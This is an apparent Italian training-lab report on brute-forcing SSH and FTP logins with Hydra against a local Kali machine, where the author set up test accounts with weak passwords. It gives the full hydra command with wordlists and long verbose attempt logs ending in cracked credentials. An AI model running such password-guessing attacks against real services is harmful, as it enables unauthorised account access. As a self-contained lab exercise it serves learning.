

Report Brute Force con Hydra

Per effettuare un'attacco di tipo Brute Force oggi abbiamo utilizzato un nuovo tool già installato su kali linux, **hydra**.

Abbiamo fatto due tipologie di attacchi molto simili fra loro, ma utilizzando servizi diversi, nel primo caso SSH (secure shell), nel secondo FTP (file transfer protocol) verso due target con nome utente e password diversi.

Per prima cosa abbiamo creato due user su kali tramite il comando adduser (con i permessi di amministratore), il primo chiamato user_test con password "123456" e il secondo chiamato newuser con password "iloveyou!" e successivamente abbiamo fatto partire hydra tramite il comando:

**hydra -L /home/kali/Desktop/usernames.lst -P
/home/kali/Desktop/passwords.lst 192.168.50.100 ssh/ftp -V(per vedere in
diretta i tentativi che fa)**

Questi sono i risultati:

Primo caso con SSH:

```

[ATTEMPT] target 192.168.50.100 - login "user_test" - pass "gerardo" - 1047 of 55077 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user_test" - pass "maverick" - 1048 of 55077 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user_test" - pass "peterpan" - 1049 of 55077 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user_test" - pass "tanner" - 1050 of 55077 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user_test" - pass "tyrone" - 1051 of 55077 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user_test" - pass "cutiel" - 1052 of 55077 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user_test" - pass "kucing" - 1053 of 55077 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user_test" - pass "chanel" - 1054 of 55077 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user_test" - pass "simpleplan" - 1055 of 55077 [child 1] (0/0)
)
[ATTEMPT] target 192.168.50.100 - login "user_test" - pass "paulina" - 1056 of 55077 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user_test" - pass "ILOVEYOU" - 1057 of 55077 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user_test" - pass "fabian" - 1058 of 55077 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user_test" - pass "pisces" - 1059 of 55077 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user_test" - pass "always" - 1060 of 55077 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user_test" - pass "hollister" - 1061 of 55077 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user_test" - pass "kaylee" - 1062 of 55077 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user_test" - pass "margaret" - 1063 of 55077 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user_test" - pass "grandma" - 1064 of 55077 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user_test" - pass "143143" - 1065 of 55077 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user_test" - pass "donkey" - 1066 of 55077 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user_test" - pass "salvador" - 1067 of 55077 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user_test" - pass "123456" - 1068 of 55077 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user_test" - pass "lovehurts" - 1069 of 55077 [child 3] (0/0)
[22][ssh] host: 192.168.50.100 login: user_test password: 123456
[ATTEMPT] target 192.168.50.100 - login "root" - pass "#!comment: This collection of data is (C) 1996-2022 by Nmap Software LLC." - 5008 of 55077 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "root" - pass "#!comment: It is distributed under the Nmap Public Source license as" - 5009 of 55077 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "root" - pass "#!comment: provided in the LICENSE file of the source distribution or at" - 5010 of 55077 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "root" - pass "#!comment: https://nmap.org/npsl/. Note that this license" - 5011 of 55077 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "root" - pass "#!comment: requires you to license your own wor

```

Secondo caso con FTP:

```

[ATTEMPT] target 192.168.50.100 - login "newuser" - pass "moomoo" - 982 of 60084 [child 7] (0/0)
[ATTEMPT] target 192.168.50.100 - login "newuser" - pass "twinkle" - 983 of 60084 [child 12] (0/0)
[ATTEMPT] target 192.168.50.100 - login "newuser" - pass "friendship" - 984 of 60084 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "newuser" - pass "leanne" - 985 of 60084 [child 8] (0/0)
[ATTEMPT] target 192.168.50.100 - login "newuser" - pass "simone" - 986 of 60084 [child 10] (0/0)
[ATTEMPT] target 192.168.50.100 - login "newuser" - pass "shelly" - 987 of 60084 [child 11] (0/0)
[ATTEMPT] target 192.168.50.100 - login "newuser" - pass "anita" - 988 of 60084 [child 14] (0/0)
[ATTEMPT] target 192.168.50.100 - login "newuser" - pass "lover1" - 989 of 60084 [child 9] (0/0)
[ATTEMPT] target 192.168.50.100 - login "newuser" - pass "marie1" - 990 of 60084 [child 15] (0/0)
[ATTEMPT] target 192.168.50.100 - login "newuser" - pass "perfect" - 991 of 60084 [child 13] (0/0)
[ATTEMPT] target 192.168.50.100 - login "newuser" - pass "beckham" - 992 of 60084 [child 6] (0/0)
[ATTEMPT] target 192.168.50.100 - login "newuser" - pass "cookie1" - 993 of 60084 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "newuser" - pass "cowboy" - 994 of 60084 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "newuser" - pass "calvin" - 995 of 60084 [child 4] (0/0)
[ATTEMPT] target 192.168.50.100 - login "newuser" - pass "123123123" - 996 of 60084 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "newuser" - pass "imissyou" - 997 of 60084 [child 5] (0/0)
[ATTEMPT] target 192.168.50.100 - login "newuser" - pass "samson" - 998 of 60084 [child 7] (0/0)
[ATTEMPT] target 192.168.50.100 - login "newuser" - pass "catalina" - 999 of 60084 [child 15] (0/0)
[ATTEMPT] target 192.168.50.100 - login "newuser" - pass "damian" - 1000 of 60084 [child 12] (0/0)
[ATTEMPT] target 192.168.50.100 - login "newuser" - pass "ashlee" - 1001 of 60084 [child 13] (0/0)
[ATTEMPT] target 192.168.50.100 - login "newuser" - pass "autumn" - 1002 of 60084 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "newuser" - pass "buddy" - 1003 of 60084 [child 8] (0/0)
[ATTEMPT] target 192.168.50.100 - login "newuser" - pass "bebiba" - 1004 of 60084 [child 10] (0/0)
[ATTEMPT] target 192.168.50.100 - login "newuser" - pass "joshua1" - 1005 of 60084 [child 11] (0/0)
[ATTEMPT] target 192.168.50.100 - login "newuser" - pass "147852369" - 1006 of 60084 [child 14] (0/0)
[ATTEMPT] target 192.168.50.100 - login "newuser" - pass "andre" - 1007 of 60084 [child 6] (0/0)
[ATTEMPT] target 192.168.50.100 - login "newuser" - pass "iloveyou!" - 1008 of 60084 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "newuser" - pass "titanic" - 1009 of 60084 [child 9] (0/0)
[21][ftp] host: 192.168.50.100 login: newuser password: iloveyou!
[ATTEMPT] target 192.168.50.100 - login "user_test" - pass "#!comment: This collection of data is (C) 1996-2022 by Nmap Software LLC." - 5008 of 60084 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user_test" - pass "#!comment: It is distributed under the Nmap Public Source license as" - 5009 of 60084 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user_test" - pass "#!comment: provided in the LICENSE file of

```

I tentativi sono entrambi andati a buon fine!